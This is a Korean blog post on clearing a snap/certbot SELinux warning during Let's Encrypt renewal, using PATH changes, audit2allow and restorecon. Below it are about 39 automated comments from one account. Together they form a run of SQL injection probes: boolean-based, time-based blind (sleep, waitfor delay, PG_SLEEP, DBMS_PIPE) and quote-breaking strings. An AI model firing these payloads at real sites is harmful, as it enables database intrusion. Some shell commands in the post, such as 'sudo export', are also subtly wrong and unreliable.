[snap] cannot create user data directory: failed to verify SELinux context of /root/snap: exec: "matchpathcon"

cmd_run.go:1044: WARNING: cannot create user data directory: failed to verify SELinux context of /root/snap: exec: "matchpathcon": executable file not found in $PATH
Saving debug log to /var/log/letsencrypt/letsencrypt.log

(1) 까닭

  letsencrypt 인증서를 갱신할 때 나올 수 있는 경고문이다. SELinux를 쓰지 않더라도 cron으로 실행될 때 실행 파일의 경로 문제로 이 경고문이 나올 수 있는 것 같다. 경고문이 나오더라도 작업 결과에 영향이 없는 것 같다.

https://forum.snapcraft.io/t/centos-7-cannot-create-user-data-directory-from-cron/21487

(2) 풀기 ① - $PATH 경로 지정

  문제를 푸는 방법이 아닐 수 있다.

  리눅스 환경변수 $PATH에 /sbin을 더하여 넣는다.

1) 현재 $PATH 확인

$ sudo echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

2) $PATH에 /sbin 더하기 (일시 적용)

$ sudo export PATH=$PATH:/sbin

3) $PATH에 /sbin 더하기 (영구 적용)

  ~/.bashrc 또는 ~/.bash_profile 파일에 다음 내용을 더하여 넣는다.

PATH=$PATH:/sbin
export PATH

(3) 풀기 ② - SELinux 보안 문맥 고치기

  리눅스 명령줄에서 'audit2allow -a'로 SELinux 보안 문맥에 따른 오류를 풀 방법을 알아본다.

$ sudo audit2allow -a


#============= fail2ban_t ==============
...

#============= snappy_cli_t ==============
...

#============= snappy_confine_t ==============

#!!!! WARNING: 'var_run_t' is a base type.
#!!!! The file '/run/snapd/lock/certbot-dns-rfc2136.lock' is mislabeled on your system.
#!!!! Fix with $ restorecon -R -v /run/snapd/lock/certbot-dns-rfc2136.lock
allow snappy_confine_t var_run_t:file { lock open read write };

#============= snappy_mount_t ==============

#!!!! This avc is allowed in the current policy
allow snappy_mount_t binfmt_misc_fs_t:dir search;

#!!!! This avc is allowed in the current policy
allow snappy_mount_t sysctl_fs_t:dir search;

#!!!! WARNING: 'var_run_t' is a base type.
#!!!! The file '/run/snapd/lock/certbot-dns-rfc2136.lock' is mislabeled on your system.
#!!!! Fix with $ restorecon -R -v /run/snapd/lock/certbot-dns-rfc2136.lock
allow snappy_mount_t var_run_t:file { lock open read write };

#============= snappy_t ==============

#!!!! This avc is allowed in the current policy
allow snappy_t binfmt_misc_fs_t:dir search;
allow snappy_t init_t:system status;

#!!!! WARNING 'snappy_t' is not allowed to write or create to var_run_t. Change the label to snappy_var_run_t.
allow snappy_t var_run_t:dir { add_name create write };

#!!!! The file '/run/snapd/lock/core20.lock' is mislabeled on your system.
#!!!! Fix with $ restorecon -R -v /run/snapd/lock/core20.lock
allow snappy_t var_run_t:file { create write };

#============= unconfined_t ==============
allow unconfined_t self:capability2 mac_admin;

#============= useradd_t ==============
allow useradd_t cloud_log_t:file { read write };

  위와 같이 나온다면 /run/snapd/lock/의 certbot-dns-rfc2136.lock과 core20.lock의 보안 문맥(security context)을 restorecon으로 바꾸는 방법을 알려 주고 있다.

  'll -Z /run/snapd/lock'으로 문제가 되는 파일들의 보안 문맥을 확인해 본다.

$ sudo ll -Z /run/snapd/lock/
-rw-------. root root system_u:object_r:var_run_t:s0 certbot-dns-rfc2136.lock
-rw-------. root root system_u:object_r:var_run_t:s0 certbot.lock
-rw-------. root root system_u:object_r:var_run_t:s0 core20.lock

  이 파일들의 보안 문맥를 resotrecon으로 바꾸어 본다.

$ sudo restorecon -R -v /run/snapd/lock/core20.lock
restorecon reset /run/snapd/lock/core20.lock context system_u:object_r:var_run_t:s0->system_u:object_r:snappy_var_run_t:s0
$ sudo restorecon -R -v /run/snapd/lock/certbot-dns-rfc2136.lock
restorecon reset /run/snapd/lock/certbot-dns-rfc2136.lock context system_u:object_r:var_run_t:s0->system_u:object_r:snappy_var_run_t:s0
$ sudo restorecon -R -v /run/snapd/lock/certbot.lock
restorecon reset /run/snapd/lock/certbot.lock context system_u:object_r:var_run_t:s0->system_u:object_r:snappy_var_run_t:s0

  다시 이 파일들의 보안 문맥을 확인해 보면, var_run_t에서 snappy_var_run_t로 바뀐 것을 볼 수 있다.

$ sudo ll -Z /run/snapd/lock/
-rw-------. root root system_u:object_r:snappy_var_run_t:s0 certbot-dns-rfc2136.lock
-rw-------. root root system_u:object_r:snappy_var_run_t:s0 certbot.lock
-rw-------. root root system_u:object_r:snappy_var_run_t:s0 core20.lock
2022/08/20 17:07 2022/08/20 17:07
글 걸기 주소 : 이 글에는 글을 걸 수 없습니다.

덧글을 달아 주세요

  1. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1 OR 2+225-225-1=0+0+0+1 --

  2. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1 OR 3+225-225-1=0+0+0+1 --

  3. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+225-225) --

  4. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+225-225) --

  5. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1 OR 2+34-34-1=0+0+0+1

  6. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1 OR 3+34-34-1=0+0+0+1

  7. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+34-34)

  8. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+34-34)

  9. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1' OR 2+596-596-1=0+0+0+1 --

  10. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1' OR 3+596-596-1=0+0+0+1 --

  11. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+596-596) --

  12. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+596-596) --

  13. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1' OR 2+742-742-1=0+0+0+1 or 'xfElrYsv'='

  14. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1' OR 3+742-742-1=0+0+0+1 or 'xfElrYsv'='

  15. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+742-742) or 'xfElrYsv'='

  16. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+742-742) or 'xfElrYsv'='

  17. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1" OR 2+420-420-1=0+0+0+1 --

  18. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1" OR 3+420-420-1=0+0+0+1 --

  19. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1" OR 3*2<(0+5+420-420) --

  20. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    -1" OR 3*2>(0+5+420-420) --

  21. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1*if(now()=sysdate(),sleep(15),0)

  22. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

  23. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

  24. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  25. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1-1; waitfor delay '0:0:15' --

  26. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1-1); waitfor delay '0:0:15' --

  27. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1-1 waitfor delay '0:0:15' --

  28. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    11acEm40U'; waitfor delay '0:0:15' --

  29. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1-1 OR 610=(SELECT 610 FROM PG_SLEEP(15))--

  30. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1-1) OR 21=(SELECT 21 FROM PG_SLEEP(15))--

  31. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1-1)) OR 868=(SELECT 868 FROM PG_SLEEP(15))--

  32. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1r2PBMQPN' OR 283=(SELECT 283 FROM PG_SLEEP(15))--

  33. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1IbNdKRB7') OR 968=(SELECT 968 FROM PG_SLEEP(15))--

  34. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1rDQZNZWd')) OR 130=(SELECT 130 FROM PG_SLEEP(15))--

  35. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  36. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  37. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1'"

  38. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    @@zDba7

  39. fnfOzvSR 2026/04/28 04:22 고유주소 고치기 답하기

    1